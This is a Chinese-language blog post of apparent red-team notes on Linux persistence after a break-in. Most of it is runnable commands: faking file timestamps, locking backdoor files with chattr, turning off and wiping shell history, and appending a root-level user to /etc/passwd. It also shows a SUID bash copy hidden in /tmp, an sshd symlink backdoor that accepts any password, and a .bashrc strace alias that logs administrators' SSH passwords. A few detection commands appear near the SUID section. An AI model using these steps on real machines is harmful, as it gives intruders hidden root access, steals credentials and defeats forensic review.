liunx权限维持

1.修改文件/终端属性

1.1文件创建时间

如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就可以判断shell.php的生成时间有问题

解决方法:

touch -r index.php shell.php#将文件shell.php的时间修改为和index.php相同,如果shell.php文件不存在,就创建shell.php文件

touch命令用于修改文件或目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

1.2文件锁定

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是 查看不出来的,从而达到隐藏权限的目的。
chattr +i evil.php   #锁定文件
rm -rf evil.php      #提示禁止删除
lsattr  evil.php     #属性查看
chattr -i evil.php   #解除锁定
rm -rf evil.php      #彻底删除文件    

图1chattr的使用方法

属性选项功能
i如果对文件设置 i 属性,那么不允许对文件进行删除、改名,也不能添加和修改数据; 如果对目录设置 i 属性,那么只能修改目录下文件中的数据,但不允许建立和删除文件;
a如果对文件设置 a 属性,那么只能在文件中増加数据,但是不能删除和修改数据; 如果对目录设置 a 属性,那么只允许在目录中建立和修改文件,但是不允许删除文件;
u设置此属性的文件或目录,在删除时,其内容会被保存,以保证后期能够恢复,常用来防止意外删除文件或目录。
s和 u 相反,删除文件或目录时,会被彻底删除(直接从硬盘上删除,然后用 0 填充所占用的区域),不可恢复。

1.3历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set +o history  #备注: [space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而 这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history  #将环境恢复原状

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命 令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
删除大规模历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' -f ~/.bash_history

1.4passwd增加用户

/etc/passwd #各部分含义:用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/etc/shadow 各部分含义:

用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周 期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

写入举例:

1.增加超级用户

$perl -le 'print crypt("passwd","salt")'
sadtCr0CILzv2
$echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

Linux perl命令描述

使用perl命令可以扫描任意文本文件,从这些文本文件中提取信息优化的语言,根据这些信息打印报告。

2.suid后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以

root身份执行的。必要条件:

1、SUID权限仅对二进制程序有效。

2、执行者对于该程序需要具有x的可执行权限

3、本权限仅在执行该程序的过程中有效

4、在执行过程中执行者将具有该程序拥有者的权限

创建suid权限的文件

cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot#chmod4755权限是Linux系统中的一种比较特殊的权限。它与普通的权限不同,因为它可以让一个文件在执行时,以具有该文件所有者的权限来执行。这种权限通常用于系统管理员需要对一些安全性较高的文件进行保护的情况下。(即suid权限)
ls -al /tmp/.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot
/tmp/.woot
/tmp/.woot -p    //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
cd /tmp
ls -a

image-20240305161229259

suid设置成功,切换到普通用户

ls -a

image-20240305161258262

id#查看权限

image-20240305161305706

./.woot -p
id#查看权限

检测:查找具有suid权限的文件即可

find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null

3.ssh后门

3.1ssh软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过 程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测  uid 0 即可认证成功,这样就导致了可以使用任意密码登录:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345#靶机
ssh root@192.168.21.22 -p12345#kali
优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成 8081 ,8080等端口。

Linux软连接ssh后门之我见 | BlackWolf

3.2SSH公钥免密登录

ssh-keygen -t rsa#生成公钥
cat id_rsa.pub > authorized_keys  #将id_rsa.pub内容放到目标 .ssh/authorized_keys里

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的 shell,如struts写入公钥, oracle写入公钥连接, Redis未授权访问等情景。

cd .ssh
chmod 600 id_rsa
ssh -i id_rsa root@192.168.0.113#用户@本机IP地址

3.3SSH Keylogger记录密码

当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用strace 系统调试工具 获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

在当前用户的 .bashrc 里新建一条alias ,这样可以抓取他登陆其他机器的 ssh 密码

alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect - s2048 ssh'

4.ubantu利用cron机制安装后门

首先,说明一下, Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照 一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
service cron status

查看普通用户的执行计划。(如果你显示没有计划不要着急,后面加上cron.allow和cron.deny)就有了

crontab -l
拿到高权限进行维持(留一个高权限)
创建高权限用户、脚本、木马
ssh、木马、
查看shell进程:netstat -anplt
判断文件是否是webshell    1.将文件下载下来放入沙箱识别linux河马的使用
查看文件创建时间stat  文件名
防止高权限用户误删除文件使用chattr 

image-20240305161409189

chattr +i 锁定文件
chattr -i 解除锁定
rm -rf 文件名删除文件
测试在tmp文件夹里面写入一个文件   锁定文件   查看是否能够删除
历史命令开启无痕操作(无痕迹)
[space]set +o history
删除指定历史命令

image-20240305161418393

权限维持
history -d [num]
passwd增加用户

image-20240305161449291

在写入文件时>覆盖,>>追加

image-20240305161508463

suid留后门

1.是二进制
2有执行权限
3仅在执行过程中有效

ls -a -l

image-20240305161614459

计划任务列表
service cron  status
cron -l列出计划任务列表
cron -e写入计划任务列表
8ineted服务后门
默认端口13
监听外部网络的系统守护进程

  • 42
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值